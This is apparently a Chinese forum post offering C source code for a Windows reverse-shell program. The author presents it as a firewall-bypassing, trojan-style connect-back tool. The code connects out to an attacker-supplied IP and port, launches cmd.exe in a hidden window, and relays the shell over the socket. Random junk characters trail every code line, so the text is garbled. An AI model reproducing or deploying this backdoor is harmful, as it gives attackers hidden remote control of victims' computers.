这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9]|cs
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/* ============================== =WHdy;
Rebound port in Windows NT b&0q%tCK
By wind,2006/7 BCFvqhF7s
===============================*/ -`A6K!W&~p
#include 5I@< 6S&X
#include vQ
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#pragma comment(lib,"wsock32.lib") 2o6%P}C
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void OutputShell(); }2G'3msx
SOCKET sClient; ?*Jv&f#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &,bJ]J)8O
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void main(int argc,char **argv) B1\}'g8%f
{ g"F vD_
WSADATA stWsaData; IY+P Yad
int nRet; Q
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SOCKADDR_IN stSaiClient,stSaiServer; -cOLgrmp
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if(argc != 3) {&m^*YN/
{ 3Ju<jXoo!
printf("Useage:\n\rRebound DestIP DestPort\n"); >+&524xc
return; eAPGy-
} xMU4Av[{
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WSAStartup(MAKEWORD(2,2),&stWsaData); pYH#Vh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7RDfhKdb
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stSaiClient.sin_family = AF_INET; #5=Yg5
stSaiClient.sin_port = htons(0); Fq9AO~z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }c$Zlb
{ 6"z:s-V
printf("Bind Socket Failed!\n"); &h')snp:#
return; &pV'/
} RlC|xj"l%
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stSaiServer.sin_family = AF_INET; l7n c8K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6gNsh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `gx_+m^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r 1n l!
{ [a`89'"z
printf("Connect Error!"); 1o
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return; 7"FsW3an
} =:uK$>[
OutputShell(); X=8y$Yy
} n~@;[=o?5
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void OutputShell() I^emH+!MW
{ Mnc9l ^
char szBuff[1024]; b:SjJA,HM
SECURITY_ATTRIBUTES stSecurityAttributes; nd}[X[ay
OSVERSIONINFO stOsversionInfo; w9G (^jS6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pxDkf|*
STARTUPINFO stStartupInfo; Et}S*!IS
char *szShell; ">@]{e*
PROCESS_INFORMATION stProcessInformation; `O5wM\Z
unsigned long lBytesRead; [RoOc)u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AAb3Jf`UW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {Cd Q)|
stSecurityAttributes.lpSecurityDescriptor = 0; I6S!-i
stSecurityAttributes.bInheritHandle = TRUE; u$O`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #rD0`[pz
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); clV3x`z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W US[hx,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H|JPqBNRh
stStartupInfo.wShowWindow = SW_HIDE; Jz<-B
stStartupInfo.hStdInput = hReadPipe; 98'/yZ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g0O~5.f
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GetVersionEx(&stOsversionInfo); piULIZ0
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switch(stOsversionInfo.dwPlatformId) E^qJ5pr_P
{ _3~/Z{z8
case 1: qQ6rF
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szShell = "command.com"; @G,pM: t
break; GJS3O;2*
default: D~P3~^
szShell = "cmd.exe"; hg4 d]R,
break; 1cq"H/N
} `1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C.4r`F$p
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send(sClient,szMsg,77,0); F#-mseKhc
while(1) ",O |uL
{ Z(F['Zf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [ICFPY6
if(lBytesRead) xP/?E
{ VW&EdrR,S
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 71b0MHNkvv
send(sClient,szBuff,lBytesRead,0); JPO'1D)
} aG_@--=
else M$YU_RPl+
{ #!?jxfsFa
lBytesRead=recv(sClient,szBuff,1024,0); H?oBax:
if(lBytesRead<=0) break; *^aEUp6&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h@AKfE!\~
} !$n@-
} (w[#h9j
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return; yzyBr1s
}